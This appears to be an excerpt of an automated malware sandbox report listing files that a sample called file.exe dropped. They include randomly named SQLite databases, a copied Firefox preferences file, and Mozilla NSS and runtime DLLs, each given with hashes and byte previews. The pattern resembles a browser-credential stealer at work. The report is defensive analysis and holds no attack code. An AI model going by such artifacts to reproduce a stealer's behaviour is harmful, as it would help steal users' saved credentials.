Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAECGCGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651770343387572
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMNSAELyKOMq+8HKkjucswRv8p3nVumZ:K0q+n0JN9ELyKOMq+8HKkjuczRv89d
MD5:	7BA711FB596335AD0F54E8D398FCF363
SHA1:	0190B22600A1239969457F5F039110F0CACDCE1C
SHA-256:	BDC8A8FD627BEC07C9F87319C8D5DB9349895399DAD8F0530E513F59F6589835
SHA-512:	5374CD210FDF83EF015CD4DAD57BF624D1EDF3524689C771654EF9C7DD4DEB77911073CE6BA676E54F50B8CE6C0BC9F38A579844B9521F5CAEAC8EBCE71EE5C2
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDBFBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBAKEHIEBKJJJJJKKKEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GIDBKKKKKFBGDGDHIDBGHIEBGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDBAKKECAEGCAKFIIIDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEBKJDAFHJDGDHJKKEGIJDAKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\060c6a38-f245-4aa4-adb9-1c752d2c6f17.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58991
Entropy (8bit):	6.100326172467184
Encrypted:	false
SSDEEP:	1536:8Mk1rT8HRadPGWv/sxtwopXp6aFo07VLyMV/YosE:8MYrT8xav/4KipfVVeZosE
MD5:	EEC05BC1D4BBA6935B85C189C8D6AA85
SHA1:	6F2749A22CA8D1A78F92C0EE51CF51E7356A7EF8
SHA-256:	181877FABB041C06365259BBAF50C880A25169DF9532CF7B3A7FE0E3BC1A4D55
SHA-512:	0181FDC357EC74FAC600FD581336756AE9FFFE925C3747564AEF02372AC151CA719BD5D678A7EE622FFB0EA1FCFC78806F82C26C12F54DBA0D1CFCAD60D52ABA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"42ca82e5-9980-4686-a7ae-0483918785bf"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731349069"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\36d2caf1-d581-4904-b979-0fe8436abbce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58771
Entropy (8bit):	6.103154724189542
Encrypted:	false
SSDEEP:	1536:5/Ps+wsI7yOadPGWv/sxtwoj7VLyMV/YoskFoC:5/0+zI7yOav/4KyVeZoskn
MD5:	3620ECABB62C8D4DC544CDB726618026
SHA1:	5A0E12B149C1A07B8BF313D1F272EED5AADA0720
SHA-256:	4F3362E7CEDEB843598C252E5DB868EB3C22582C1EB920DAC567EF8D691A3728
SHA-512:	499CB4DB4890CC8A7AE60CB9E0E74726BC57DB47537888290CEF16172450CC6D38BA213C2031AA146E963D32FEC0C6B4122AAD4DEE8344B8CB61FA2834BF0206
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"42ca82e5-9980-4686-a7ae-0483918785bf"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731349069"},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4543212b-c46d-43da-a782-04e50fec8be9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57639
Entropy (8bit):	6.1038594193605356
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynkPGWv/sxtwkj7VLyMV/YoskFoz:z/0+zI7ynwv/4KGVeZoskG
MD5:	82CD652D7122EF896FD918AAC3BB736D
SHA1:	8F655D50463A0B525A77C57A45F5B502FB464987
SHA-256:	76126A93D21595CE2327C864A3B88AB424B0DA83F8A3174373ACC2623C7B38D0
SHA-512:	BB718429540765230F02DCB2A743428FFC8B357E42ECAC1A9081102B2BE7C142F66277F3990FFA87FBCD8830BB4E5C1CC13EFCE74D4C996B55F12BC59A3E8C84
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5f9a5466-e680-4d6a-948a-ff1f2f0de1c6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	59068
Entropy (8bit):	6.100441821591339
Encrypted:	false
SSDEEP:	1536:8Mk1rT8HTaSPGWv/sxtwopXp6aFo07VLyMV/YosE:8MYrT8zZv/4KipfVVeZosE
MD5:	D7912A6B2750F59FA8A0B106B6CCCF20
SHA1:	4C9B08DBA6AF7C595A764060E036A509BF658B18
SHA-256:	D1447FFF95609CFA02DA886DCCEF7B4A84EEED8C70ADB3FFF26D1CDCE0955465
SHA-512:	40364E19299DF58E20FA3B83D62882F635D5AD80012974588C9F32693AC5A0DEAF73CD42975D38F4AD1BA6CB426C0DEEAD356E884329F901C0CBAAFB0511EDD7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"42ca82e5-9980-4686-a7ae-0483918785bf"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731349069"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6a45ae1b-3beb-47ba-b350-aab0a084404a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	57717
Entropy (8bit):	6.104124143403408
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yOLPGWv/sxtwoj7VLyMV/YoskFoz:z/0+zI7yOTv/4KyVeZoskG
MD5:	40752638B672E15EBA0BEA8C9777A984
SHA1:	3261113D65B47AB86E1AE928299E28AE21AD6ABC
SHA-256:	A02A3B4854C19FA301D3CCDBBB08B340E5C470984A23B85EEFA387683DE312AF
SHA-512:	E33F67EE4B799CAAA020E842A85DB223DEDF5B144209DCED50BC97C24008706DC77F7D1E003CA64293B7230D2983154E7C517464F1B8387B3ECF8B93B8E52984
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9982561d-e24d-48e3-a67d-d0136ed50586.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	59068
Entropy (8bit):	6.100442780874076
Encrypted:	false
SSDEEP:	1536:8Mk1rT8HTnSPGWv/sxtwopXp6aFo07VLyMV/YosE:8MYrT8zGv/4KipfVVeZosE
MD5:	EEBEB69A411EABBA45E54BAAC800E4F0
SHA1:	D21D5FA8434436DFB961410CCEBC39B87638E008
SHA-256:	41585531D59A94FC1CB996CC4CB110582B886A6ACC606F9B5F8DFF71EAFF2289
SHA-512:	F83D8C2DADC5929DCA84CDD78A0AB365BCF2F7C2FB9F07EDA45CA7ADCEDE4B4D869AD1AB1D473658823A56134ED952DDB1374F9703C8CFB6A7EC1D534E15A252
Malicious:	false
